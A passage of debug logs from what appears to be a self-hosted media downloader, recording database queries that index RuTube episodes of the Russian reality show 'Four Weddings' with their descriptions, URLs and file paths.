db=2.4ms queue=0.1ms idle=77.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.022 [debug] QUERY OK source="media_items" db=0.6ms idle=61.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 14:00:13Z], 1] 14:36:16.058 [debug] QUERY OK source="media_items" db=35.4ms idle=48.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы «Четырёх свадеб» готовы удивлять! У Илоны из Междуреченска будет классическо-романтическая свадьба, а для гостей она подготовит сюрприз. Анастасия из Челябинска на своей классической свадьбе продемонстрирует три образа. Евгения из Санкт-Петербурга устроит торжество в древнерусском стиле. А на свадьбе Екатерины из Екатеринбурга смешаются традиции 90-х и 2000-х. Чьё мероприятие окажется самым оригинальным, увидим в программе «Четыре свадьбы».", "Корейская свадьба VS Древнерусская свадьба", "70c52542-3cdc-446f-8e86-954c0a4bc878", "21c619dceeb72a93b0b1aee2749db64d", 5417, false, "https://rutube.ru/video/21c619dceeb72a93b0b1aee2749db64d/", 55, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051800 - Корейская свадьба VS Древнерусская свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-05-18 14:00:13Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Новые участницы «Четырёх свадеб» готовы удивлять! У Илоны из Междуреченска будет классическо-романтическая свадьба, а для гостей она подготовит сюрприз. Анастасия из Челябинска на своей классической свадьбе продемонстрирует три образа. Евгения из Санкт-Петербурга устроит торжество в древнерусском стиле. А на свадьбе Екатерины из Екатеринбурга смешаются традиции 90-х и 2000-х. Чьё мероприятие окажется самым оригинальным, увидим в программе «Четыре свадьбы».", "Корейская свадьба VS Древнерусская свадьба", "21c619dceeb72a93b0b1aee2749db64d", 5417, false, "https://rutube.ru/video/21c619dceeb72a93b0b1aee2749db64d/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051800 - Корейская свадьба VS Древнерусская свадьба.mp4", false, 1, ~U[2023-05-18 14:00:13Z]] 14:36:16.065 [debug] QUERY OK source="sources" db=4.8ms idle=83.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.067 [debug] QUERY OK source="media_items" db=1.7ms idle=48.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 16:00:13Z], 1] 14:36:16.111 [debug] QUERY OK source="media_items" db=43.4ms idle=46.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В специальном выпуске программы «Четыре свадьбы» мы вспомним яркие моменты мероприятий 112 невест. Самые красивые платья, шикарные банкеты и невероятные истории любви… А также неуместные свадебные подарки и дурацкие конкурсы! Всё это покажет программа «Четыре свадьбы».", "Свадебный марафон", "4072f2c1-7ec1-40b2-83ad-79ec28bdf80f", "5c4cfa7025c997f31adb3156e1e0db18", 5965, false, "https://rutube.ru/video/5c4cfa7025c997f31adb3156e1e0db18/", 56, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e060100 - Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2023-06-01 16:00:13Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "В специальном выпуске программы «Четыре свадьбы» мы вспомним яркие моменты мероприятий 112 невест. Самые красивые платья, шикарные банкеты и невероятные истории любви… А также неуместные свадебные подарки и дурацкие конкурсы! Всё это покажет программа «Четыре свадьбы».", "Свадебный марафон", "5c4cfa7025c997f31adb3156e1e0db18", 5965, false, "https://rutube.ru/video/5c4cfa7025c997f31adb3156e1e0db18/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e060100 - Свадебный марафон.mp4", false, 1, ~U[2023-06-01 16:00:13Z]] 14:36:16.119 [debug] QUERY OK source="sources" db=6.2ms queue=0.1ms idle=90.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.120 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=60.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 14:10:09Z], 1] 14:36:16.154 [debug] QUERY OK source="media_items" db=32.4ms idle=56.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Каждая из четырёх невест готова показать свою свадьбу мечты. У Софьи из Воскресенского будет классическая свадьба с элементами деревенского стиля. Наталья из Балашова на свою свадьбу в стиле инь-ян позовёт трёх медведей. Алина из Красноярска попробует впечатлить конкуренток сказочным торжеством в замке. А Татьяна из Нижнего Тагила устроит свадьбу-маскарад. Чьё мероприятие станет лучшим, увидим в программе «Четыре свадьбы».", "Деревенская свадьба VS Свадьба в замке", "b883c0b6-bbb1-4b64-ab01-eed7a6f4d363", "50ded7a60f6e84f144096c5140818b88", 5630, false, "https://rutube.ru/video/50ded7a60f6e84f144096c5140818b88/", 57, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e090700 - Деревенская свадьба VS Свадьба в замке.mp4", false, false, false, 1, [], 1, ~U[2023-09-07 14:10:09Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Каждая из четырёх невест готова показать свою свадьбу мечты. У Софьи из Воскресенского будет классическая свадьба с элементами деревенского стиля. Наталья из Балашова на свою свадьбу в стиле инь-ян позовёт трёх медведей. Алина из Красноярска попробует впечатлить конкуренток сказочным торжеством в замке. А Татьяна из Нижнего Тагила устроит свадьбу-маскарад. Чьё мероприятие станет лучшим, увидим в программе «Четыре свадьбы».", "Деревенская свадьба VS Свадьба в замке", "50ded7a60f6e84f144096c5140818b88", 5630, false, "https://rutube.ru/video/50ded7a60f6e84f144096c5140818b88/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e090700 - Деревенская свадьба VS Свадьба в замке.mp4", false, 1, ~U[2023-09-07 14:10:09Z]] 14:36:16.177 [debug] QUERY OK source="sources" db=18.8ms queue=0.3ms idle=90.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.180 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=65.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 14:00:15Z], 1] 14:36:16.191 [debug] QUERY OK source="media_items" db=9.5ms idle=62.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты устроят баттл московских свадеб. Ксения и её жених Даниил пообещают удивить необычным появлением молодых. У Полины и Алексея будет свадьба в студенческом стиле. Ирина и Виктор используют в своей свадьбе авиационную тематику. А Ксения и Александр пригласят на свою свадьбу в стиле «бельгийский лес». Кто победит, узнаем из программы «Четыре свадьбы».", "Студенческая свадьба VS Авиационная свадьба", "2e9409c5-ab84-4f0d-8168-92ced800bb74", "95a40e9d93bab9855b0e8603a68205f4", 6048, false, "https://rutube.ru/video/95a40e9d93bab9855b0e8603a68205f4/", 58, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e091400 - Студенческая свадьба VS Авиационная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-09-14 14:00:15Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Четыре невесты устроят баттл московских свадеб. Ксения и её жених Даниил пообещают удивить необычным появлением молодых. У Полины и Алексея будет свадьба в студенческом стиле. Ирина и Виктор используют в своей свадьбе авиационную тематику. А Ксения и Александр пригласят на свою свадьбу в стиле «бельгийский лес». Кто победит, узнаем из программы «Четыре свадьбы».", "Студенческая свадьба VS Авиационная свадьба", "95a40e9d93bab9855b0e8603a68205f4", 6048, false, "https://rutube.ru/video/95a40e9d93bab9855b0e8603a68205f4/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e091400 - Студенческая свадьба VS Авиационная свадьба.mp4", false, 1, ~U[2023-09-14 14:00:15Z]] 14:36:16.209 [debug] QUERY OK source="sources" db=17.7ms queue=0.1ms idle=71.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.211 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=56.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-17 14:00:16Z], 1] 14:36:16.231 [debug] QUERY OK source="media_items" db=19.3ms idle=34.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Противостояние четырёх невест начинается! У Кристины из Москвы будет свадьба в стиле рустик, а фишкой мероприятия станет подарок для конкуренток. Анастасия из Курска пригласит участниц на свою русско-купеческую свадьбу. Мероприятие Марии из Курска пройдёт в стиле «Голливуд». А на свадьбе Марины из Москвы гостей будут развлекать игрой «квиз». Кто победит, узнаем из программы «Четыре свадьбы».", "Дворянская свадьба VS Свадьба в стиле Голливуд", "29232adf-ff85-422c-9cc9-088a7f0513e8", "37a8e0343e5d12965f082464a560b1b0", 5683, false, "https://rutube.ru/video/37a8e0343e5d12965f082464a560b1b0/", 59, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e101700 - Дворянская свадьба VS Свадьба в стиле Голливуд.mp4", false, false, false, 1, [], 1, ~U[2023-10-17 14:00:16Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Противостояние четырёх невест начинается! У Кристины из Москвы будет свадьба в стиле рустик, а фишкой мероприятия станет подарок для конкуренток. Анастасия из Курска пригласит участниц на свою русско-купеческую свадьбу. Мероприятие Марии из Курска пройдёт в стиле «Голливуд». А на свадьбе Марины из Москвы гостей будут развлекать игрой «квиз». Кто победит, узнаем из программы «Четыре свадьбы».", "Дворянская свадьба VS Свадьба в стиле Голливуд", "37a8e0343e5d12965f082464a560b1b0", 5683, false, "https://rutube.ru/video/37a8e0343e5d12965f082464a560b1b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e101700 - Дворянская свадьба VS Свадьба в стиле Голливуд.mp4", false, 1, ~U[2023-10-17 14:00:16Z]] 14:36:16.236 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=52.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.238 [debug] QUERY OK source="media_items" db=2.0ms idle=45.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-24 14:00:19Z], 1] 14:36:16.269 [debug] QUERY OK source="media_items" db=29.2ms queue=0.1ms idle=29.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят торжества друг друга. У Татьяны из Орла будет классическая свадьба, оформление которой станет сюрпризом от декоратора. Любовь из Ростова-на-Дону пригласит участниц на свою современную свадьбу с выступлением кавер-группы. Свадьба Екатерины из Краснодара пройдёт в кубанско-армянском стиле. А фишкой свадьбы Виктории из Москвы станет стендап от гостей. Чьё мероприятие больше остальных понравится соперницам, покажет программа «Четыре свадьбы».", "Кубанско-армянская свадьба VS Свадьба-вечеринка", "56cd8c36-ea79-40ce-9e08-389c8ca3804f", "8cb8d3dec904479996d0960839bd61c5", 5969, false, "https://rutube.ru/video/8cb8d3dec904479996d0960839bd61c5/", 60, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e102400 - Кубанско-армянская свадьба VS Свадьба-вечеринка.mp4", false, false, false, 1, [], 1, ~U[2023-10-24 14:00:19Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Четыре невесты оценят торжества друг друга. У Татьяны из Орла будет классическая свадьба, оформление которой станет сюрпризом от декоратора. Любовь из Ростова-на-Дону пригласит участниц на свою современную свадьбу с выступлением кавер-группы. Свадьба Екатерины из Краснодара пройдёт в кубанско-армянском стиле. А фишкой свадьбы Виктории из Москвы станет стендап от гостей. Чьё мероприятие больше остальных понравится соперницам, покажет программа «Четыре свадьбы».", "Кубанско-армянская свадьба VS Свадьба-вечеринка", "8cb8d3dec904479996d0960839bd61c5", 5969, false, "https://rutube.ru/video/8cb8d3dec904479996d0960839bd61c5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e102400 - Кубанско-армянская свадьба VS Свадьба-вечеринка.mp4", false, 1, ~U[2023-10-24 14:00:19Z]] 14:36:16.272 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=59.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.276 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=42.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-18 15:50:19Z], 1] 14:36:16.291 [debug] QUERY OK source="media_items" db=13.5ms idle=41.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 пары влюблённых побывают на свадьбах друг друга. Екатерина и Александр из Санкт-Петербурга покажут своё видение современной классической свадьбы. Анастасия и Анзор из Челябинска отпразднуют свадьбу на работе жениха. Ирина и Игорь из Воронежа устроят рок-тусовку. А у Сони и Саши из Москвы будет вечеринка в стиле Барби. Как пройдут мероприятия участников, покажет программа «Четыре свадьбы».", "Свадьба в стиле Барби VS Свадьба в стиле рок", "2ab5dfdc-d8e3-4612-8463-a8252c186e4f", "c14e67dfeab96ab4c4b076535d7b8d1a", 7786, false, "https://rutube.ru/video/c14e67dfeab96ab4c4b076535d7b8d1a/", 61, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e011800 - Свадьба в стиле Барби VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2024-01-18 15:50:19Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "4 пары влюблённых побывают на свадьбах друг друга. Екатерина и Александр из Санкт-Петербурга покажут своё видение современной классической свадьбы. Анастасия и Анзор из Челябинска отпразднуют свадьбу на работе жениха. Ирина и Игорь из Воронежа устроят рок-тусовку. А у Сони и Саши из Москвы будет вечеринка в стиле Барби. Как пройдут мероприятия участников, покажет программа «Четыре свадьбы».", "Свадьба в стиле Барби VS Свадьба в стиле рок", "c14e67dfeab96ab4c4b076535d7b8d1a", 7786, false, "https://rutube.ru/video/c14e67dfeab96ab4c4b076535d7b8d1a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e011800 - Свадьба в стиле Барби VS Свадьба в стиле рок.mp4", false, 1, ~U[2024-01-18 15:50:19Z]] 14:36:16.315 [debug] QUERY OK source="sources" db=22.5ms queue=0.9ms idle=53.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.317 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=47.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-25 14:10:11Z], 1] 14:36:16.337 [debug] QUERY OK source="media_items" db=18.6ms queue=0.1ms idle=45.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты покажут свои свадьбы. Лилия из Вологды пригласит на свою свадьбу в стиле минимализм. В Алексине гости будут развлекаться на классической свадьбе Анастасии. Фишкой свадьбы Анастасии из Королёва станет появление гостей. А приглашённые на свадьбу Ксении из Санкт-Петербурга смогут посмотреть на оленей. Понравятся ли участницам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле минимализм VS Классическая свадьба", "86704a99-ea47-4d45-b36a-f24729da1783", "24d2d553daaa9342945190fb63fe7294", 6353, false, "https://rutube.ru/video/24d2d553daaa9342945190fb63fe7294/", 62, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e012500 - Свадьба в стиле минимализм VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-01-25 14:10:11Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "4 невесты покажут свои свадьбы. Лилия из Вологды пригласит на свою свадьбу в стиле минимализм. В Алексине гости будут развлекаться на классической свадьбе Анастасии. Фишкой свадьбы Анастасии из Королёва станет появление гостей. А приглашённые на свадьбу Ксении из Санкт-Петербурга смогут посмотреть на оленей. Понравятся ли участницам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле минимализм VS Классическая свадьба", "24d2d553daaa9342945190fb63fe7294", 6353, false, "https://rutube.ru/video/24d2d553daaa9342945190fb63fe7294/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e012500 - Свадьба в стиле минимализм VS Классическая свадьба.mp4", false, 1, ~U[2024-01-25 14:10:11Z]] 14:36:16.340 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=60.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.342 [debug] QUERY OK source="media_items" db=1.2ms idle=49.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-01 13:20:11Z], 1] 14:36:16.536 [debug] QUERY OK source="media_items" db=193.1ms idle=27.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» приглашают соперниц на свои торжества. В Омске девушки побывают на молодёжной свадьбе-вечеринке Малики. Наталья из Апатитов устроит панк-свадьбу. Яна позовёт гостей на свою свадьбу в стиле бохо. А у Натальи из Тюмени будет домашняя вечеринка. Яркие мероприятия девушек покажет программа «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба в стиле рок", "068f1239-631a-4160-9939-4fd007d91b84", "9b556f4a1651b9cf23b36d5c0f78fd64", 5960, false, "https://rutube.ru/video/9b556f4a1651b9cf23b36d5c0f78fd64/", 63, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020100 - Свадьба-вечеринка VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2024-02-01 13:20:11Z], ~U[2025-12-09 11:36:16Z], ~U[2025-12-09 11:36:16Z], "Участницы «Четырёх свадеб» приглашают соперниц на свои торжества. В Омске девушки побывают на молодёжной свадьбе-вечеринке Малики. Наталья из Апатитов устроит панк-свадьбу. Яна позовёт гостей на свою свадьбу в стиле бохо. А у Натальи из Тюмени будет домашняя вечеринка. Яркие мероприятия девушек покажет программа «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба в стиле рок", "9b556f4a1651b9cf23b36d5c0f78fd64", 5960, false, "https://rutube.ru/video/9b556f4a1651b9cf23b36d5c0f78fd64/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020100 - Свадьба-вечеринка VS Свадьба в стиле рок.mp4", false, 1, ~U[2024-02-01 13:20:11Z]] 14:36:16.539 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=199.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:16.546 [debug] QUERY OK source="media_items" db=3.0ms queue=0.2ms idle=202.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE 